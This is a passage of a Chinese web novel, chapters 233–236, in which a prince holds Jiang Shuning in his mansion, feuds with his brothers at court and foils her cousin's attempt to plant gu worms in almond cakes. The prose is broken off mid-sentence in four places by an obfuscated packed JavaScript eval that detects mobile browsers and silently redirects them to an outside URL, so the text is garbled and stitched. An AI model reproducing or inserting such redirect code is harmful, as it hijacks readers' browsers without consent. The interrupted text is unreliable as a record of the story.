唯一不同的,是他此刻的眼神——不再是那时的冷漠与厌烦,而是猎人盯着猎物般、滚烫而露骨的占有欲。 他上前,执起她冰冷的手,将她拉到桌前坐下,嗓音缱绻:“姝宁,你知道本王等这一日等了多久吗?” 这句温情脉脉的话,却像一条毒蛇,瞬间缠上了姜姝宁的脊背,让她通体发凉。 他从重生那一刻起,就在算计着今天。 他要的就是她的重蹈覆辙,让她像前世那般,被他牢牢困在这座名为景王府的华美囚笼里。 前世十年,至死方休。 今生又要被困多少年? 萧凌川不在意她的沉默不语,他端起桌上的合卺酒,亲自递了一杯给她,随即用自己的臂弯,强势地缠住了她的。 “前世,没能与你喝上这杯交杯酒,今生,我们补上。”他柔声道。 她没说话,只觉得讽刺。 如此大费周章,是想让她永远记住今日献祭的耻辱吗? 喝完酒,萧凌川的声音已然沙哑,目光如滚烫的岩浆,一寸寸地描摹着她的轮廓:“你累了一天,我们……该歇息了。” 该来的,总归是要来的。 姜姝宁心底一片死寂。 她缓缓抬手,褪下发间的珠钗,解开繁复的衣衫。 他那炙热的、充满了贪婪欲念的目光,像无数只手,在她身上游走。 直到浑身只剩一件单薄的中衣,她才一言不发地躺倒在床上,僵直地闭上眼,像一条砧板上的鱼,等待着一场预料之中的掠夺与索取。 身侧的床榻微微下陷,他褪去了外衫,吹熄了红烛。 黑暗中,萧凌川滚烫的身躯近在咫尺,带来一种无形的压迫感,仿佛随时能将她吞没。然而,他却只是静静地躺在她身边,呼吸沉稳而克制,没有一丝逾越的举动。 怎么回事? 这完全始料未及的平静,反而让姜姝宁心底的错愕迅速转化为一阵强烈的不安。他改变主意了?他舍不得杀姜瑶真了? 她好不容易下定决心做这场交易,他怎能中途反悔? 她猛地睁开眼,在黑暗中转向他,声音里带着自己都未曾察觉的颤抖:“王爷……” “睡吧。” 黑暗中,他的声音格外沙哑,似乎在强行克制着什么:“你今日累坏了,好好歇息。我们……来日方长。” 姜姝宁的惊讶无异于亲眼目睹猛兽主动放弃到嘴的猎物。 但她来不及细想,一日颠簸奔波的疲惫如潮水般袭来,瞬间将她吞没。 她睡得极不安稳,整个人都像是被魇住了一般。 梦境中,萧凌川时而冷若冰霜,时而炙热偏执,两张截然不同的面孔重叠、交错,让她无所适从。 她又梦见那碗她日日饮下的、苦涩入骨的避子汤,紧接着是前世临死前喉间翻涌上的、带着铁锈味的腥甜…… 那些被她强行压抑在记忆深处的恐惧,此刻化作无数只手,将她死死拖入深渊。 “不……不要!”她终于挣脱了梦魇的束缚,发出一声破碎的哭喊。 “大小姐?大小姐您醒醒!” 一只温热的手帕轻柔地为她擦拭额角的冷汗。 姜姝宁猛地睁开眼,映入眼帘的是凌芜那张写满担忧的脸。 她有那么一瞬间的恍惚,以为自己还在相府,还在自己的闺房中。 可当视线缓缓聚焦,那满目刺眼的猩红与奢华的陈设,便如一盆冰水,将她所有自欺欺人的幻觉彻底浇灭。 她被囚禁在景王府,囚禁在萧凌川这座亲手为她打造的华美牢笼里。 “你怎么……来了?”她一开口,才发觉喉咙干涩得像是被砂纸磨过,又痛又哑。 “是王爷派人连夜将奴婢接过来的。”凌芜连忙扶她坐起,递上温水,“王爷说您昨夜受了惊,发起了热,身边必须有信得过的人伺候。老爷也同意了,他担心您,所以让奴婢一定要来好好照顾您。” 姜姝宁端着水杯的手微微一颤:“父亲……他也知道我在这里?” “是。”凌芜点头,“老爷听说王爷不顾一切将您从大理寺天牢救了出来,心中……很是感激他。” “感激他?”姜姝宁像是听到了天大的笑话,唇角勾起一抹淬了冰的弧度,“感激他什么?感激他将我从一座牢笼,转移到另一座更精致的牢笼吗?感激他让我从此背上一个劫狱逃犯的污名,此生再无天日,只能做他见不得光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990846|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的禁脔吗?” 这番尖锐的话让凌芜白了脸,她急忙劝道:“大小姐,三小姐被毒死一案,如今证人**,罪证又全都指向您,瑞王府里的人都一口咬定婢女受你指使给三小姐下毒……如今没有新的有力证据,若让您继续留在牢里,只能是死路一条。” 凌芜顿了顿,声音放得更轻, “况且……老爷说,他看得出王爷对您的心意。他说,王爷是真心想娶您,护着您的。大小姐,您难道真的一点也不动容吗?王爷为了您,真的做了很多……” 姜姝宁没有再说话。 她只是觉得疲惫,一种从心底深处泛上来的、无边无际的疲惫。 她的婢女,她的父亲,或许将来还会有更多的人,他们都只会看到萧凌川为她付出的“深情”,看到他将她从死亡深渊中“拯救”出来的功劳。 没有人会懂,她为此付出的代价,是自由、是尊严、是今后漫长人生里每一刻的窒息。 在这场以爱为名的围猎里,她连呼救,都显得像是不知好歹。 凌芜见她神色恍惚,连忙端来一碗汤药,柔声安慰道:“大小姐,您还病着,快趁热把药喝了吧。” 那碗药黑黢黢的,散发着浓重而苦涩的气味。 姜姝宁几乎是下意识地向后避了避。 重生后,她对汤药有了阴影,每次看到总感觉是被下了毒。 她下意识地摸索着床沿,想去找一支能用作试探的银簪。 凌芜却抢在她之前,从袖中取出一根银针探入那碗浓黑的药汁中。 片刻后,银针被取出,依旧明亮如初,没有丝毫变色。 “大小姐,没毒的,您放心喝吧。”凌芜将银针收好,才重新将药碗递到她唇边。 见姜姝宁一脸错愕地看着自己,她解释道,“是王爷吩咐的。他说,往后所有给大小姐入口的东西,都必须先用银针验过,确认无毒后,才能送到您面前。大小姐,王爷……他真的很在意您。” 姜姝宁眸色微动。 难道,前世她的死真的给他留下了如此深刻的阴影? 这份小心翼翼的守护实在不像狂妄自大的他会做出来的事情。 “王爷他现在在哪?”姜姝宁强撑着身体的不适,沙哑着嗓子问。 “王爷一早就上朝去了。”凌芜脱口而出,“王爷说,昨日宁王殿下那般鲁莽地闯入王府,还砸坏了东西,是时候让他为自己的行为付出代价了!” 姜姝宁端着药碗的手猛地一顿。 萧凌川,还真是睚眦必报! 第233章 弥补他们之间的裂痕 第二百三十三章弥补他们之间的裂痕 新帝萧政贤刚登上龙椅,龙椅还没坐热,就不得不面对一桩让他头痛不已的事——景王与宁王的兄弟阋墙。 金銮殿上,气氛凝重无比。 景王萧凌川一身玄色朝服,立于百官之前,面色冷峻,言辞却咄咄逼人,势要为昨日宁王“大不敬”的行径讨个说法。 他身后的拥护者们更是口诛笔伐,字字句句都指向宁王萧怀瑾的“僭越”与“狂悖”。 龙椅上的萧政贤疲惫地揉了揉眉心。 一边是拥趸众多的四弟,一边是外家富庶的五弟,他一个支持者不多、母族式微的皇帝陷入了两难境地。 在萧凌川那不容置喙的强势之下,天平终究还是被迫倾斜了。 最终,萧政贤只能下令,罚宁王萧怀瑾入宗人府领二十鞭,并奉上千两黄金,作为给景王府的“赔偿”。 萧凌川对这个处罚结果相当满意,唇角勾起一抹若有若无的胜利者微笑。 退朝时,他刻意走到面色铁青的萧怀瑾面前,笑得意味深长:“五弟,别怪四哥。其实四哥也和你一样,心急如焚,想知道姜姑娘究竟被何人劫走。毕竟,我们都不希望她被无辜栽赃,屈死在大牢里,不是吗?” 萧怀瑾抬起眼,那双温润的眸子里此刻尽是压抑的怒火与阴沉:“四哥不必惺惺作态,我知道姜姑娘就在四哥府中!我别无他求,只求四哥能善待于她。她绝不可能毒杀瑞王府的妾室,此事,我定会查个水落石出,还她清白!” “姜姑娘的事,何须五弟你来操心?”萧凌川的脸色瞬间冷了下来,他凑近萧怀瑾,用只有两人能听到的声音,一字一句地低语,如同毒蛇吐信,“你莫不是……至今还对她抱着不切实际的幻想?” 他看着萧怀瑾骤然变化的脸色,愉悦地轻笑一声: “可惜啊,五弟,你终究是晚了一步。经过一夜,你说,这生米……是不是也该煮成熟饭了?” 见萧怀瑾气得浑身发抖,他又慢条斯理地补上最后一刀, “五弟,安心等着吧。等到姜姑娘洗清罪名那日,你见到她,也该恭恭敬敬地,喊她一声‘四皇嫂’了!” “你!”萧怀瑾怒火攻心,拳头捏得咯吱作响,却只能眼睁睁地看着萧凌川带着胜利者的姿态,扬长而去。 宗人府的刑罚,为了平息朝野议论,执行得毫不含糊。 二十记浸了水的牛皮鞭,抽得萧怀瑾背后皮开肉绽,一片血肉模糊。 他自幼被荣太妃与先帝捧在手心长大,何曾受过这等皮肉之苦,可行刑时,他硬是没喊一声疼。 荣太妃闻讯,亲自赶到宁王府探望,一见他趴在榻上,背上狰狞的伤口触目惊心,眼泪当即就落了下来:“瑾儿,你这又是何苦?” “母妃不必担心,这点苦,儿臣还受得住。”萧怀瑾脸色苍白,声音却依旧坚定,“四哥以为用这种卑鄙的手段,就能将姝宁困在他身边,简直是痴心妄想!儿臣绝不会让他得逞!” “瑾儿,为了一个姜姝宁,真的值得吗?”荣太妃坐到他床边,言辞间满是现实的考量,“你听母妃说,若真是景王劫的人,那她一个弱女子,孤身在他府中一夜……为了回报,还能如何?无非就是以身相许。你如今是圣上亲封的宁王,你外祖家富可敌国,你何必为了一个名节有损的女子,与你四哥彻底撕破脸?” “母妃,别说了!”萧怀瑾神色骤变,情绪激动地打断了她,“姝宁是被四哥强行掳走的,她身不由己,儿臣怎能坐视不理,见死不救?!” 他撑着剧痛的身体,眼中闪烁着近乎执拗的光, “况且,儿臣不信!儿臣不信姝宁会用以身相许的方式去回报他!四哥也定然强迫不了她!以她的性子,宁为玉碎,不为瓦全,她宁愿死,也绝不会拿自己的清白之身去做交易的筹码!” 荣太妃还想再劝,门外却传来内侍尖细的通报声: “陛下驾到——!” 萧怀瑾听闻通报声,不由得有些诧异。 他强撑着剧痛的身子,挣扎着想要下床行礼,一道明黄色的身影已经快步走了进来,按住了他的肩膀。 “五弟,躺着别动,无需多礼!”新帝萧政贤道。 “见过陛下!”一旁的荣太妃连忙起身道。 “荣太妃也请起。”萧政贤的目光落在萧怀瑾那血肉模糊的背上,原本就紧蹙的眉头锁得更深,语气里充满了压抑的怒火与深深的自责,“是朕无能!身为天子,却护不住你,害你受这等苦楚!” “皇兄,切莫说这样的话!您只是做了君王应该做的事。错的不是您,是萧凌川他太过嚣张跋扈,颠倒黑白!” 他一激动,牵扯到背后的伤口,疼得倒吸一口凉气,但眼中的恨意却愈发浓烈,“姜姑娘分明就是被他强行掳入府中囚禁!昨日若非他百般阻挠,再给我一点时间,我定能将她从那虎狼之地救出来!” “朕何尝不知。”萧政贤叹了口气,声音里是无法掩盖的疲惫与无奈,“可如今的朝堂,大半的臣子都唯他马首是瞻。朕若此刻下令强行搜查景王府,怕是会激起众怒。” 他顿了顿,声音更低了些,充满了忌惮, “如今,不仅太皇太后扶持的母族势力为他所用,他自己还在军中和朝中培植了无数寒门出身的心腹;甚至……就连姜姑娘的父亲,姜丞相,如今也是他最坚定的拥护者。朕这个皇帝,有时也觉得如坐针毡啊。” 萧怀瑾自然清楚,要扳倒权势滔天的萧凌川,绝非一朝一夕的易事。 沉默片刻后,他那双因疼痛而显得黯淡的眸子里,忽然闪过一丝冰冷而锐利的光。 “既然他萧凌川在朝堂上如此春风得意,想必那些盯着景王妃之位的世家门阀,更是挤破了头想要攀附。皇兄,您何不顺水推舟,给他一个‘机会’?” “你的意思是……”萧政贤瞬间领会,眼中闪过一丝迟疑,“给他赐婚?” “没错。”萧怀瑾的唇角勾起一抹冰冷的弧度,一字一顿地道:“而且,要越多越好!” 他看着皇帝若有所思的神情,继续说道,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所以这一世,他故意在同一间婚房,还她一个真正的新婚之夜——没有强迫,没有伤害,只有他彻夜无声的守护。 他在用自己的方式,一点一点弥补他们之间的裂痕。 “王爷不必如此。”姜姝宁垂眸,掩盖眼底的情绪,“我已经答应和你做交易,就决不会食言。” 萧凌川喂药的手猛地一顿,空气瞬间凝固。 他缓缓放下药碗,抬起她的下巴,逼她与自己对视。 那双深邃的眸子里,刚刚还残存的些许温情瞬间被凛冽的寒意取代。 “你以为本王费尽心机,将你从天牢里弄出来,想要的……仅仅是一场交易?” 他的声音压得很低,却带着山雨欲来的压迫感,目光灼灼,寸步不让,“姜姝宁,本王要的,是你的心!” 就在姜姝宁被他眼中那份炙热的、几乎要将人吞噬的占有欲逼得无路可退,不知该如何回应之时,门外,凌风的声音急促地响起: “王爷,姜三公子求见!” 萧凌川眸色骤沉,周身的戾气几乎无法抑制。 “他来做什么?” 凌风的声音顿了顿,似乎也觉得纳闷:“他说……是特地来给王爷送杏仁饼!” 第234章 小狼崽子欠收拾 第二百三十四章小狼崽子欠收拾 景王府的正厅,空旷而肃穆,光线从高窗透入,却带不来半分暖意。 姜天泽就坐在这片冷寂之中,脸上挂着人畜无害的温润笑容。 “听父亲说,大姐姐幸得王爷出手相救,天泽心中感激不尽,特地前来道谢……” 他话未说完,萧凌川便打断他的话:“父亲?你是说姜丞相?” “正是。”姜天泽的笑容不变,“天泽如今已是相府继承人,大伯与大伯母如我的再生父母,称呼一声‘父亲’、‘母亲’,也是理所应当。” 萧凌川心中掠过一丝说不清道不明的膈应,并未表露,但眸色肉眼可见变得有些晦暗。 父亲,叫得倒是亲昵! 姜天泽小心翼翼地将手边的食盒,推到萧凌川跟前,带着几分讨好:“听闻王爷素来喜爱杏仁饼,我便亲手做了些。手艺虽比不得大姐姐,但也是仔细按照她的方子做的,想必……应当能合王爷的胃口。” 萧凌川慢条斯理地打开食盒,一股杏仁的甜香瞬间弥散开来。 他拈起一块,却并不入口,只是放在指尖端详,脸上缓缓浮起一丝夹杂着嘲弄与冷意的笑。 “这世上,能让本王入口的糕点,只有姝宁亲手做的。这一点,没人告诉你吗?” “天泽的手艺自然远不及大姐姐。”姜天泽神色恭敬,“但心意是真诚的。王爷不妨试试?” 萧凌川桃花眸微眯,那探究的目光仿佛能穿透人心:“这杏仁饼里,不会被下了毒吧?” “天泽万万不敢!”姜天泽立刻摆出一副诚惶诚恐的模样,急切地辩白,“王爷若是不放心,大可用银针一验!” “呵。”萧凌川发出一声轻笑,那声音幽幽的,像鬼魅的低语,“既然不是毒,那就是……蛊了。” 最后两个字,他说得极轻,却如同一记重锤,狠狠砸在姜天泽心上。 他的脸色“唰”地一下变得惨白,那副温和无害的面具瞬间碎裂! 他怎么会知道? “天泽……听不懂王爷在说什么。”他迅速恢复镇定,干笑着想要去收回食盒,“王爷既然不喜欢,那天泽便将它带回……” 食盒被一只节骨分明的手摁住。 “急什么?” 萧凌川的语气依旧平淡,另一只手却猛地一捏,那块精致的杏仁饼瞬间化为齑粉,从他指缝间簌簌落下。 那粉末之中,几粒比芝麻还小的黑色虫卵跌落了出来。 姜天泽瞳孔骤缩,下意识要去抓那些虫卵,试图销毁证据。 可他的手刚伸到半空,就被萧凌川铁钳般的手腕死死攥住。 萧凌川甚至没有起身,只是看似随意地向外一折—— “咔嚓!” 清脆的骨节错位声,在死寂的大厅里显得无比刺耳。 “啊——!”姜天泽痛得惨叫出声,整个人被这股巨力带得跪倒在地。 “臭小子,竟敢算计到本王头上。”萧凌川终于站起身,居高临下地俯视着他,眼神冰冷如刀,“活腻了?” 剧痛之下,姜天泽反而被激起了血性,他咬牙切齿地吼道:“你若真是为大姐姐好,就不该限制她的自由,把她像囚犯一样困在这王府里!” “本王不把她藏在府中,如何护她周全?”萧凌川冷笑一声,脚尖轻轻碾上他被折断的手腕,“若本王没猜错,就在你来本王府中的这点时间里,大理寺的人,已经将你们相府搜了个底朝天了吧?” 姜天泽的脸上血色尽失:“我……我自有法子护住她周全,不劳王爷操心!” “你?”萧凌川仿佛听到了天大的笑话,眼中的轻蔑几乎要溢出来,“你算个什么东西,也配在本王面前说这样的话?” 他微微用力,姜天泽立刻疼得浑身颤抖,清俊的脸上布满了冷汗,最终所有的骨气都被碾碎,只能狼狈地求饶: “我错了……我太担心大姐姐,才如此口无遮拦……求王爷……饶了天泽这一次!” “不自量力。” 萧凌川欣赏够他的狼狈,这才松开他,俊美的脸上满是不屑和轻蔑。 小狼崽子,就是欠收拾! 一旁的凌风看得心惊胆战,暗自为这位姜三公子捏了把冷汗。 就差那么一点点,他这条胳膊,就要被王爷给生生废了! 萧凌川重新坐回桌前,用指尖将那些散落在桌面上的黑色虫卵,一颗颗极其缓慢而又残忍地碾成齑粉。 他做着这令人毛骨悚然的动作,语气却平淡得像是在讨论天气:“这蛊术,你练到哪个阶段了?可能让人口吐真言?” 姜天泽捂着自己剧痛的手腕,冷汗涔涔,却还是从牙缝里挤出几个字:“……尚且不能。但我能用母蛊,操控中了子蛊的人。” “哦,那便是最低等的傀儡术。”萧凌川发出一声轻描淡写的嗤笑,“雕虫小技罢了。这种东西,只需一碗烈性的雄黄酒,便能让中蛊者将体内的蛊虫吐得干干净净。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003559|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜天泽汗如雨下,他怎么连这个都知道? 蛊术乃是南月国的秘术,比毒术还要隐秘百倍,知道的人寥寥无几。 母亲曾对他说,萧凌川多年来困在大邺皇宫里,应当对南月不甚了解。 现在看来,是他母亲太低估萧凌川了。 他对南月的一切了如指掌! 自己还妄图用蛊虫控制萧凌川,让他把姜姝宁放了。 难怪萧凌川嘲笑他不自量力! “不过,就算是最低等的傀儡术,用来对付某些人,倒也还算……有点用处。” 萧凌川撩起眼皮,那双桃花眸里尽是冰冷的算计,“本王可以给你一个将功补过的机会。若你能将此蛊种在姜瑶真的身上,那么今日你冒犯本王之事,本王可以既往不咎。等你考取功名,本王定会提拔你,给你一个光明的仕途。” “仕途前程,我毫不在意!给姜瑶真下蛊,我可以做到,但我只有一个条件——我要随时能见到大姐姐!” 萧凌川的动作停住了。 他冰冷的目光重新锁定在姜天泽身上,那眼神仿佛要将他的骨头一寸寸看透。 正厅里的空气瞬间凝固,温度骤降,压得人喘不过气来。 良久,他才缓缓开口:“此事,本王应下了。但除了姜瑶真,你还要给本王炼制出能让人口吐真言的真言蛊,你可能做到?” “好,我答应你!”姜天泽几乎是立刻应下,“既然王爷加了一个要求,那便得让我现在就见大姐姐一面!” “放肆!” 这一次,萧凌川的脸色是真真正正地沉了下去。 那股慵懒闲适的气度荡然无存,取而代之的是一股令人毛骨悚然的森冷杀意,仿佛下一刻,他便要将眼前这个不知天高地厚的少年生生碾成齑粉。 一旁的凌风暗暗诧异:姜三公子,敢跟王爷如此讨价还价的,整个大邺就只有你一人了! 就在这几乎凝固的死寂中,萧凌川却忽然笑了。 那笑意未达眼底,反而更显阴冷。 他站起身,居高临下地看着姜天泽,一字一顿地说道:“凌风,带姜三公子去见王妃!” 听到“王妃”这两个字,姜天泽脸上掠过一丝愠色,但很快便被他强行压下。 可当他被带着走近萧凌川的寝殿,在他的床榻上看到正在小憩的姜姝宁,那股深埋心底的妒意再也无法掩饰,如同岩浆般在胸腔中翻涌沸腾,随时都要冲破理智的束缚,熊熊爆发。 第235章 这才叫无耻! 第二百三十五章这才叫无耻! “大姐姐!”姜天泽几乎是踉跄着冲到榻前,双膝跪地,眼尾泛红。 姜姝宁被惊醒,看到眼前之人竟是姜天泽,她那苍白而疲惫的脸上闪过一抹诧异:“天泽?你……你怎会在这里?” 她知道姜天泽来见萧凌川,但没有料到萧凌川竟然肯放他进来见自己。 见她一副虚弱的模样,姜天泽心疼不已,紧紧握住她的手:“大姐姐受苦了。王爷他……是不是强迫你了?” 这话从他口中问出,直白而唐突,姜姝宁只觉心头一紧,一股难以言喻的窘迫与羞涩涌了上来。 她避开他的目光,强作镇定道:“没有……” “真的吗?”姜天泽却不肯相信,眼眶越发红了,仿佛下一秒便要落下泪来。他紧紧握住她冰凉而消瘦的手,声音里满是心疼与不甘,“大姐姐,你不要骗我,更不要一个人默默咽下这些委屈!” “真的没有。”姜姝宁深吸一口气,转移这个话题,“天泽,跟大姐姐说实话,王爷为何会同意你来见我?是不是,你和他做了什么交易?” 姜天泽眼底飞快闪过一丝慌乱,但他很快垂下眼帘,掩饰住那抹不自然,装出一副若无其事的模样:“没有,是父亲让我来看你。王爷许是看在父亲的面上,才准我来探望你的。” 姜姝宁的目光微微一凝,瞬间察觉出他在说谎。 若父亲真有心挂念自己,怎么不亲自前来? 更何况,以萧凌川的心性,怎可能因为区区一个姜丞相的面子,就轻易松口? 她反手握紧姜天泽的手,神色异常凝重:“天泽,答应大姐姐,无论如何,都不要为景王做事。与虎谋皮,终会被反噬,你明白了吗?” 姜天泽抬起头,直直地对上她的目光。 那双清亮的眸子里,燃烧着一种近乎执拗的灼热:“大姐姐,你放心,我一定会想尽一切办法,把你从这景王府中救出去!不管付出什么代价,我都不会让你继续被困在这里!” “不可!”姜姝宁的语气陡然加重,带着不容置疑的决绝,“你如今根本不是他的对手,贸然行事,只会害了自己。况且,离开景王府一事,我自有打算。你只需替我好好照顾父亲母亲,尤其是母亲,千万别让她因担心我而伤了心神。” 两人正低声交谈,寝殿的门忽然被推开,凌风的身影出现在门口。 他的神情冷漠,语气生硬:“姜三公子,王妃如今身体抱恙,不宜久见外客,请速速离开吧!” 姜天泽闻言,脸上闪过一抹强烈的不甘,但他终究不敢违抗,只得依依不舍地起身,向姜姝宁告别:“大姐姐,你等着我,过几日我定会再来探望你!” 听到他的承诺,姜姝宁心中反倒愈发不安。 看来自己的猜测没错,他定是和萧凌川做了交易! 姜天泽离开后,萧凌川神色阴沉。 他让凌风叫来了凌芜,直截了当地开口,语气中带着一丝令人毛骨悚然的探究:“凌芜,你可觉得,这姜三公子对待王妃的态度,有何异样之处?” 凌芜闻言,脊背一僵。 她小心翼翼地斟酌着字句,低声答道:“回王爷的话,属下觉得……姜三公子对待王妃的态度,似、似不像寻常弟弟对姐姐那般,倒有些……” 她有些难以启齿,怕说出来的话触怒了眼前这位喜怒难测的王爷。 萧凌川却冷冷一笑,接过她未尽之言,语气中满是冰冷的笃定:“倒像是对待心仪之人的态度,对吗?” 此言一出,殿内的空气仿佛瞬间凝固。 凌风与凌芜的脸色皆是一变,彼此交换了一个不安的眼神。 凌风壮着胆子开口,试图缓和这诡谲的气氛:“王爷,这……不至于吧?姜三公子年岁尚浅,或许只是性子单纯,喜欢粘着自家姐姐罢了。他明知王妃是他的堂姐,怎可能对她存有非分之想……” “性子单纯?”萧凌川冷笑一声,“本王可不觉得他单纯到哪里去,若本王不设防,今日早就被他算计了。凌风,你去查一查姜天泽的身世,看他是不是姜三爷的亲生儿子!” 凌风一愣,几乎怀疑自己听错了,但对上萧凌川那阴鸷而冰冷的目光,他不敢再多问半句,唯有恭敬领命:“……是,王爷,属下这就去办!” 他心中暗暗叫苦,王爷对王妃的占有欲,简直到了病态的地步,连小舅子的醋也吃! 萧凌川回到寝殿,见姜姝宁未在床上休息,他眉头微蹙,几步疾走上前:“你病还没好,怎么不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010132|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上好好歇着?” “王爷。”姜姝宁抬头,一双清亮的眼眸对上他的视线,“天泽还是个孩子,他帮不上王爷什么的,求王爷莫要急于让他为您做事。” 萧凌川闻言,唇角微微一勾,露出一抹意味不明的笑意。 “王妃此言差矣,本王倒是觉得,你这个堂弟能帮上本王的地方还很多。” “王爷……” “好了,莫提他了。”萧凌川不给她继续开口的机会,语气虽轻却不容违抗,“你病还没好,快回床上躺着!” 话音未落,他已俯身而下,不顾她的挣扎,将她打横抱起,稳稳地放置床上。 姜姝宁气恼:“还请王爷莫要伤及我的家人,否则我绝不客气!” 面对她的威胁,萧凌川不怒反笑。 他凑近她,近到几乎可以将她的气息吞噬,神色危险暧昧:“王妃想怎么对本王不客气?嗯?” 他的声音尾调上扬,带着几分挑逗,热气喷洒在她的耳畔,烫得姜姝宁面红耳赤。 她猛地别开脸,咬紧下唇,羞恼地低斥道:“无耻!” “本王什么都还没做,怎么就无耻了?”他故意用力亲了她的脸一下,满意地看着那抹绯色迅速在她面上晕开,这才慢悠悠地补了一句,“这才叫无耻!” 姜姝宁羞恼万分,恨恨地瞪着他,怕他做出其他出格的事情来,只能把“登徒子”三个字生生咽下。 萧凌川见她这副隐忍又羞恼的小模样,只觉得可爱得紧,忍不住伸出手,轻轻捏了捏她的脸颊:“本王就喜欢你这副模样。不像前世那般,受了委屈也不吭声,从不与本王生气。” 见他心情十分愉悦,姜姝宁试探性地问:“王爷方才说天泽能帮到你,到底指哪方面?” 萧凌川却不愿再继续这个话题,他嘴角噙着笑,懒散地转移了话题:“本王也有些乏了,不如陪王妃小憩片刻,如何?” “王爷连这种事也要瞒着我吗?”姜姝宁不甘心,试图再逼问出些什么。 “为何不可?”萧凌川眼底笑意渐冷,手指却温柔地轻抚过她的脸颊,语气却陡然转寒,带着几分意味深长的警告,“王妃不也藏着些小秘密,不愿告知本王吗?比如……一心想着,偷偷离开本王,对吗?” 第236章 不打自招 第二百三十六章不打自招 寝殿内,气氛骤然变得剑拔**张。 姜姝宁下意识脱口而出,声音中带着几分难以掩饰的恼怒:“你竟偷听我与天泽说话,卑鄙!” “你果真与那堂弟私下议论,想要离开本王。”萧凌川冷哼一声,桃花眸微微眯起,神色危险,“本王不过随口一诈,你自己倒是招了。” 姜姝宁霎时哑口无言,脸颊涨得通红。 她心中懊悔,怎就不打自招了呢? 片刻后,她敛了敛眸,尽力让声音听起来平静无波:“不过是随口安慰天泽的说辞罢了,王爷何必多心?” “自然。”萧凌川轻笑一声,笑意却不达眼底。 他伸出手,修长的手指轻抚过她的脸颊,动作温柔得令人心悸,目光却带着一种志在必得的寒意,“王妃如今还需要本王为你报仇雪恨……如此看来,萧修湛暂时还不能杀。待王妃将心交予本王,本王再取他性命也不迟。否则,岂不是被王妃当作复仇的棋子,白白用完便丢,半点好处也捞不到?” 姜姝宁难以置信地抬头看着他,眼底满是震惊与愤怒。 他分明是要逼自己继续与他虚与委蛇,将她的退路掐断! 片刻后,她深吸一口气,提醒道:“王爷莫非忘了,瑞王在西榆尚有私兵坐镇,您就不怕他卷土重来,谋反夺权?” 萧修湛如今虽废了一臂,继位无望,可若他心生反意,借助私兵谋逆夺位,就是有三头六臂,也能强登大邺君王之位! “本王还会怕他那点乌合之众?”萧凌川冷笑出声,语气中满是不屑与轻蔑,似乎压根不将那所谓的私兵放在眼中。 姜姝宁语气急促,试图抓住他的痛处:“王爷难道忘了前世是如何被瑞王**的?您当真能如此轻易放过他?” 前世萧凌川十次遭遇暗杀,其中九次皆是萧修湛下的毒手,剩下的一次也是有人为了讨好萧修湛而为之。 她不信,以萧凌川睚眦必报的性子,会为了将自己绑在身边,而甘心放下这血海深仇! 然而,萧凌川闻言,眼底却闪过一抹阴鸷的冷光。 他缓缓低下头,修长的手指转而摩挲她的耳垂,动作轻柔,声音却低沉森冷:“王妃想岔了。不杀他,并不代表本王不报复他。” 他顿了顿,唇角勾起一抹残忍而诡谲的笑意,字字如刀,刺入姜姝宁的心底,“本王会让他,生不如死!” 这话一出,寝殿内的空气仿佛凝固了一瞬。 姜姝宁望着他那张俊美却阴郁的面容,不合时宜地想起姜家姨娘被他虐杀的场景,只觉一股寒意从脊背升起,久久无法平息。 —— 大理寺牢中。 姜瑶真一身素衣,步履匆匆地走进这阴暗之地,脸上满是难掩的阴郁与不耐。 听说姜姝宁被人劫狱,她气不打一处来。 原本她计划与姜姝宁做一桩交易,将毒死姜莲的罪名尽数推到那个倒霉婢女身上,以此换取姜姝宁手中的南月玉牌。 可如今,这精心盘算的交易彻底泡汤了。 萧修湛入狱后,俸禄被停,庄田封地的收入又尚未结算,姜瑶真的日子过得紧巴巴的。 她甚至不得不卖了几个妾室来勉强周转府中吃穿用度。 如今见到萧修湛,她心中的怨气再也压不住,语气中满是埋怨与不甘:“殿下,如今妾身和府中下人都快要饿**!镇国将军还将您名下的商铺收入尽数拿走!再这样下去,妾身可怎么活啊?” “你懂什么?”萧修湛冷冷地斜了她一眼,声音中透着不耐与轻蔑,“舅舅拿走的那些银钱,是去办能让本王翻身的大事,不是让你用来坐吃山空的!你不是还有娘家吗?实在熬不下去,就滚回娘家去!” 姜瑶真闻言,气得面色一阵青一阵白,险些咬碎了银牙。 